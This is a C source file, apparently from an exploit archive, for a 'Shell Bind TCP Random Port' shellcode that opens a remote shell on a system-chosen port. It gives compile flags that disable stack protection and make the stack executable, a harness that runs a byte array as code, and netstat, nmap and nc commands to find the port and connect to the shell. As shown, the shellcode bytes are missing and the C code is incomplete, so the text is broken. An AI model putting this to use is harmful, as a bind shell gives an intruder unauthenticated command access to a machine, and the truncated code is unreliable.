Shell Bind TCP Random Port Shellcode - C Language

 Written in 2013 by Geyslan G. Bem, Hacking bits


 With the great support from Tiago Natel, Sec Plus


 This source is licensed under the Creative Commons
 Attribution-ShareAlike 3.0 Brazil License.

 To view a copy of this license, visit


 You are free:

    to Share - to copy, distribute and transmit the work
    to Remix - to adapt the work
    to make commercial use of the work

 Under the following conditions:
   Attribution - You must attribute the work in the manner
                 specified by the author or licensor (but
                 not in any way that suggests that they
                 endorse you or your use of the work).

   Share Alike - If you alter, transform, or build upon
                 this work, you may distribute the
                 resulting work only under the same or
                 similar license to this one.




 * 65 bytes
 * null-bytes free
 * the port number is set by the system and can be discovered using nmap
   (see http://manuals.ts.fujitsu.com/file/4686/posix_s.pdf, page 23, section 2.6.6)

 # gcc -m32 -fno-stack-protector -z execstack shell_bind_tcp_random_port_shellcode.c -o shell_bind_tcp_random_port_shellcode
 # ./shell_bind_tcp_random_port_shellcode

 # netstat -anp | grep shell
 # nmap -sS -p-  (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode)
 # nc port


#include <stdio.h>
#include <string.h>

unsigned char code[] = \


main ()

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;